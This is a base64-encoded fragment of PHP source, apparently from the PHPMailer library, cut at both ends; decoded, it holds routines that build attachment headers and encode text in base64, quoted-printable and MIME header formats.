tVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghaXNfcmVhZGFibGUoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7CiAgICAgICAgICAgIGlmICgkbWFnaWNfcXVvdGVzKSB7CiAgICAgICAgICAgICAgICBpZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNS4zLjAnLCAnPCcpKSB7CiAgICAgICAgICAgICAgICAgICAgc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKGZhbHNlKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgLy9Eb2Vzbid0IGV4aXN0IGluIFBIUCA1LjQsIGJ1dCB3ZSBkb24ndCBuZWVkIHRvIGNoZWNrIGJlY2F1c2UKICAgICAgICAgICAgICAgICAgICAvL2dldF9tYWdpY19xdW90ZXNfcnVudGltZSBhbHdheXMgcmV0dXJucyBmYWxzZSBpbiA1LjQrCiAgICAgICAgICAgICAgICAgICAgLy9zbyBpdCB3aWxsIG5ldmVyIGdldCBoZXJlCiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCBmYWxzZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGZpbGVfYnVmZmVyID0gZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOwogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRmaWxlX2J1ZmZlciwgJGVuY29kaW5nKTsKICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoJG1hZ2ljX3F1b3Rlcyk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgJG1hZ2ljX3F1b3Rlcyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICRmaWxlX2J1ZmZlcjsKICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEVuY29kZSBhIHN0cmluZyBpbiByZXF1ZXN0ZWQgZm9ybWF0LgogICAgICogUmV0dXJucyBhbiBlbXB0eSBzdHJpbmcgb24gZmFpbHVyZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBUaGUgdGV4dCB0byBlbmNvZGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlU3RyaW5nKCRzdHIsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgICRlbmNvZGVkID0gJyc7CiAgICAgICAgc3dpdGNoIChzdHJ0b2xvd2VyKCRlbmNvZGluZykpIHsKICAgICAgICAgICAgY2FzZSAnYmFzZTY0JzoKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkc3RyKSwgNzYsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnN2JpdCc6CiAgICAgICAgICAgIGNhc2UgJzhiaXQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+Zml4RU9MKCRzdHIpOwogICAgICAgICAgICAgICAgLy8gTWFrZSBzdXJlIGl0IGVuZHMgd2l0aCBhIGxpbmUgYnJlYWsKICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJGVuY29kZWQsIC0oc3RybGVuKCR0aGlzLT5MRSkpKSAhPSAkdGhpcy0+TEUpIHsKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYmluYXJ5JzoKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHN0cjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdxdW90ZWQtcHJpbnRhYmxlJzoKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmVuY29kZVFQKCRzdHIpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ2VuY29kaW5nJykgLiAkZW5jb2RpbmcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZW5jb2RlZDsKICAgIH0KCiAgICAvKioKICAgICAqIEVuY29kZSBhIGhlYWRlciBzdHJpbmcgb3B0aW1hbGx5LgogICAgICogUGlja3Mgc2hvcnRlc3Qgb2YgUSwgQiwgcXVvdGVkLXByaW50YWJsZSBvciBub25lLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHBhcmFtIHN0cmluZyAkcG9zaXRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVIZWFkZXIoJHN0ciwgJHBvc2l0aW9uID0gJ3RleHQnKQogICAgewogICAgICAgICRtYXRjaGNvdW50ID0gMDsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvW1wyMDAtXDM3N10vJywgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAvLyBDYW4ndCB1c2UgYWRkc2xhc2hlcyBhcyB3ZSBkb24ndCBrbm93IHRoZSB2YWx1ZSBvZiBtYWdpY19xdW90ZXNfc3liYXNlCiAgICAgICAgICAgICAgICAgICAgJGVuY29kZWQgPSBhZGRjc2xhc2hlcygkc3RyLCAiXDAuLlwzN1wxNzdcXFwiIik7CiAgICAgICAgICAgICAgICAgICAgaWYgKCgkc3RyID09ICRlbmNvZGVkKSAmJiAhcHJlZ19tYXRjaCgnL1teQS1aYS16MC05ISMkJSZcJyorXC89P15fYHt8fX4gLV0vJywgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICgkZW5jb2RlZCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICgiXCIkZW5jb2RlZFwiIik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgPSBwcmVnX21hdGNoX2FsbCgnL1teXDA0MFwwNDFcMDQzLVwxMzNcMTM1LVwxNzZdLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgPSBwcmVnX21hdGNoX2FsbCgnL1soKSJdLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIC8vIEludGVudGlvbmFsIGZhbGwtdGhyb3VnaAogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICRtYXRjaGNvdW50ICs9IHByZWdfbWF0Y2hfYWxsKCcvW1wwMDAtXDAxMFwwMTNcMDE0XDAxNi1cMDM3XDE3Ny1cMzc3XS8nLCAkc3RyLCAkbWF0Y2hlcyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIC8vVGhlcmUgYXJlIG5vIGNoYXJzIHRoYXQgbmVlZCBlbmNvZGluZwogICAgICAgIGlmICgkbWF0Y2hjb3VudCA9PSAwKSB7CiAgICAgICAgICAgIHJldHVybiAoJHN0cik7CiAgICAgICAgfQoKICAgICAgICAkbWF4bGVuID0gNzUgLSA3IC0gc3RybGVuKCR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBUcnkgdG8gc2VsZWN0IHRoZSBlbmNvZGluZyB3aGljaCBzaG91bGQgcHJvZHVjZSB0aGUgc2hvcnRlc3Qgb3V0cHV0CiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID4gc3RybGVuKCRzdHIpIC8gMykgewogICAgICAgICAgICAvLyBNb3JlIHRoYW4gYSB0aGlyZCBvZiB0aGUgY29udGVudCB3aWxsIG5lZWQgZW5jb2RpbmcsIHNvIEIgZW5jb2Rpbmcgd2lsbCBiZSBtb3N0IGVmZmljaWVudAogICAgICAgICAgICAkZW5jb2RpbmcgPSAnQic7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ21iX3N0cmxlbicpICYmICR0aGlzLT5oYXNNdWx0aUJ5dGVzKCRzdHIpKSB7CiAgICAgICAgICAgICAgICAvLyBVc2UgYSBjdXN0b20gZnVuY3Rpb24gd2hpY2ggY29ycmVjdGx5IGVuY29kZXMgYW5kIHdyYXBzIGxvbmcKICAgICAgICAgICAgICAgIC8vIG11bHRpYnl0ZSBzdHJpbmdzIHdpdGhvdXQgYnJlYWtpbmcgbGluZXMgd2l0aGluIGEgY2hhcmFjdGVyCiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5iYXNlNjRFbmNvZGVXcmFwTUIoJHN0ciwgIlxuIik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoJHN0cik7CiAgICAgICAgICAgICAgICAkbWF4bGVuIC09ICRtYXhsZW4gJSA0OwogICAgICAgICAgICAgICAgJGVuY29kZWQgPSB0cmltKGNodW5rX3NwbGl0KCRlbmNvZGVkLCAkbWF4bGVuLCAiXG4iKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkZW5jb2RpbmcgPSAnUSc7CiAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmVuY29kZVEoJHN0ciwgJHBvc2l0aW9uKTsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+d3JhcFRleHQoJGVuY29kZWQsICRtYXhsZW4sIHRydWUpOwogICAgICAgICAgICAkZW5jb2RlZCA9IHN0cl9yZXBsYWNlKCc9JyAuIHNlbGY6OkNSTEYsICJcbiIsIHRyaW0oJGVuY29kZWQpKTsKICAgICAgICB9CgogICAgICAgICRlbmNvZGVkID0gcHJlZ19yZXBsYWNlKCcvXiguKikkL20nLCAnID0/JyAuICR0aGlzLT5DaGFyU2V0IC4gIj8kZW5jb2Rpbmc/XFwxPz0iLCAkZW5jb2RlZCk7CiAgICAgICAgJGVuY29kZWQgPSB0cmltKHN0cl9yZXBsYWNlKCJcbiIsICR0aGlzLT5MRSwgJGVuY29kZWQpKTsKCiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgaWYgYSBzdHJpbmcgY29udGFpbnMgbXVsdGktYnl0ZSBjaGFyYWN0ZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBtdWx0aS1ieXRlIHRleHQgdG8gd3JhcCBlbmNvZGUKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzTXVsdGlCeXRlcygkc3RyKQogICAgewogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ21iX3N0cmxlbicpKSB7CiAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRzdHIpID4gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KSk7CiAgICAgICAgfSBlbHNlIHsgLy8gQXNzdW1lIG5vIG11bHRpYnl0ZXMgKHdlIGNhbid0IGhhbmRsZSB3aXRob3V0IG1ic3RyaW5nIGZ1bmN0aW9ucyBhbnl3YXkpCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBEb2VzIGEgc3RyaW5nIGNvbnRhaW4gYW55IDgtYml0IGNoYXJzIChpbiBhbnkgY2hhcnNldCk/CiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhhczhiaXRDaGFycygkdGV4dCkKICAgIHsKICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgnL1tceDgwLVx4RkZdLycsICR0ZXh0KTsKICAgIH0KCiAgICAvKioKICAgICAqIEVuY29kZSBhbmQgd3JhcCBsb25nIG11bHRpYnl0ZSBzdHJpbmdzIGZvciBtYWlsIGhlYWRlcnMKICAgICAqIHdpdGhvdXQgYnJlYWtpbmcgbGluZXMgd2l0aGluIGEgY2hhcmFjdGVyLgogICAgICogQWRhcHRlZCBmcm9tIGEgZnVuY3Rpb24gYnkgcGFyYXZvaWQKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ubWItZW5jb2RlLW1pbWVoZWFkZXIucGhwIzYwMjgzCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkbGluZWJyZWFrIHN0cmluZyB0byB1c2UgYXMgbGluZWZlZWQvZW5kLW9mLWxpbmUKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBiYXNlNjRFbmNvZGVXcmFwTUIoJHN0ciwgJGxpbmVicmVhayA9IG51bGwpCiAgICB7CiAgICAgICAgJHN0YXJ0ID0gJz0/JyAuICR0aGlzLT5DaGFyU2V0IC4gJz9CPyc7CiAgICAgICAgJGVuZCA9ICc/PSc7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBpZiAoJGxpbmVicmVhayA9PT0gbnVsbCkgewogICAgICAgICAgICAkbGluZWJyZWFrID0gJHRoaXMtPkxFOwogICAgICAgIH0KCiAgICAgICAgJG1iX2xlbmd0aCA9IG1iX3N0cmxlbigkc3RyLCAkdGhpcy0+Q2hhclNldCk7CiAgICAgICAgLy8gRWFjaCBsaW5lIG11c3QgaGF2ZSBsZW5ndGggPD0gNzUsIGluY2x1ZGluZyAkc3RhcnQgYW5kICRlbmQKICAgICAgICAkbGVuZ3RoID0gNzUgLSBzdHJsZW4oJHN0YXJ0KSAtIHN0cmxlbigkZW5kKTsKICAgICAgICAvLyBBdmVyYWdlIG11bHRpLWJ5dGUgcmF0aW8KICAgICAgICAkcmF0aW8gPSAkbWJfbGVuZ3RoIC8gc3RybGVuKCRzdHIpOwogICAgICAgIC8vIEJhc2U2NCBoYXMgYSA0OjMgcmF0aW8KICAgICAgICAkYXZnTGVuZ3RoID0gZmxvb3IoJGxlbmd0aCAqICRyYXRpbyAqIC43NSk7CgogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRtYl9sZW5ndGg7ICRpICs9ICRvZmZzZXQpIHsKICAgICAgICAgICAgJGxvb2tCYWNrID0gMDsKICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgJG9mZnNldCA9ICRhdmdMZW5ndGggLSAkbG9va0JhY2s7CiAgICAgICAgICAgICAgICAkY2h1bmsgPSBtYl9zdWJzdHIoJHN0ciwgJGksICRvZmZzZXQsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAgICAgICAgICRjaHVuayA9IGJhc2U2NF9lbmNvZGUoJGNodW5rKTsKICAgICAgICAgICAgICAgICRsb29rQmFjaysrOwogICAgICAgICAgICB9IHdoaWxlIChzdHJsZW4oJGNodW5rKSA+ICRsZW5ndGgpOwogICAgICAgICAgICAkZW5jb2RlZCAuPSAkY2h1bmsgLiAkbGluZWJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy8gQ2hvbXAgdGhlIGxhc3QgbGluZWZlZWQKICAgICAgICAkZW5jb2RlZCA9IHN1YnN0cigkZW5jb2RlZCwgMCwgLXN0cmxlbigkbGluZWJyZWFrKSk7CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHF1b3RlZC1wcmludGFibGUgZm9ybWF0LgogICAgICogQWNjb3JkaW5nIHRvIFJGQzIwNDUgc2VjdGlvbiA2LjcuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIGludGVnZXIgJGxpbmVfbWF4IE51bWJlciBvZiBjaGFycyBhbGxvd2VkIG9uIGEgbGluZSBiZWZvcmUgd3JhcHBpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLnF1b3RlZC1wcmludGFibGUtZGVjb2RlLnBocCM4OTQxNyBBZGFwdGVkIGZyb20gdGhpcyBjb21tZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVRUCgkc3RyaW5nLCAkbGluZV9tYXggPSA3NikKICAgIHsKICAgICAgICAvLyBVc2UgbmF0aXZlIGZ1bmN0aW9uIGlmIGl0J3MgYXZhaWxhYmxlICg+PSBQSFA1LjMpCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncXVvdGVkX3ByaW50YWJsZV9lbmNvZGUnKSkgewogICAgICAgICAgICByZXR1cm4gcXVvdGVkX3ByaW50YWJsZV9lbmNvZGUoJHN0cmluZyk7CiAgICAgICAgfQogICAgICAgIC8vIEZhbGwgYmFjayB0byBhIHB1cmUgUEhQIGltcGxlbWVudGF0aW9uCiAgICAgICAgJHN0cmluZyA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICBhcnJheSgnJTIwJywgJyUwRCUwQS4nLCAnJTBEJTBBJywgJyUnKSwKICAgICAgICAgICAgYXJyYXkoJyAnLCAiXHJcbj0yRSIsICJcclxuIiwgJz0nKSwKICAgICAgICAgICAgcmF3dXJsZW5jb2RlKCRzdHJpbmcpCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvW15cclxuXXsnIC4gKCRsaW5lX21heCAtIDMpIC4gJ31bXj1cclxuXXsyfS8nLCAiJDA9XHJcbiIsICRzdHJpbmcpOwogICAgfQoKICAgIC8qKgogICAgICogQmFja3dhcmQgY29tcGF0aWJpbGl0eSB3cmFwcGVyIGZvciBhbiBvbGQgUVAgZW5jb2RpbmcgZnVuY3Rpb24gdGhhdCB3YXMgcmVtb3ZlZC4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjplbmNvZGVRUCgpCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXgKICAgICAqIEBwYXJhbSBib29sZWFuICRzcGFjZV9jb252CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGRlcHJlY2F0ZWQgVXNlIGVuY29kZVFQIGluc3RlYWQuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVRUHBocCgKICAgICAgICAkc3RyaW5nLAogICAgICAgICRsaW5lX21heCA9IDc2LAogICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocFVudXNlZFBhcmFtZXRlckluc3BlY3Rpb24gKi8gJHNwYWNlX2NvbnYgPSBmYWxzZQogICAgKSB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5lbmNvZGVRUCgkc3RyaW5nLCAkbGluZV9tYXgpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIHVzaW5nIFEgZW5jb2RpbmcuCiAgICAgKiBAbGluayBodHRwOi8vdG9vbHMuaWV0Zi5vcmcvaH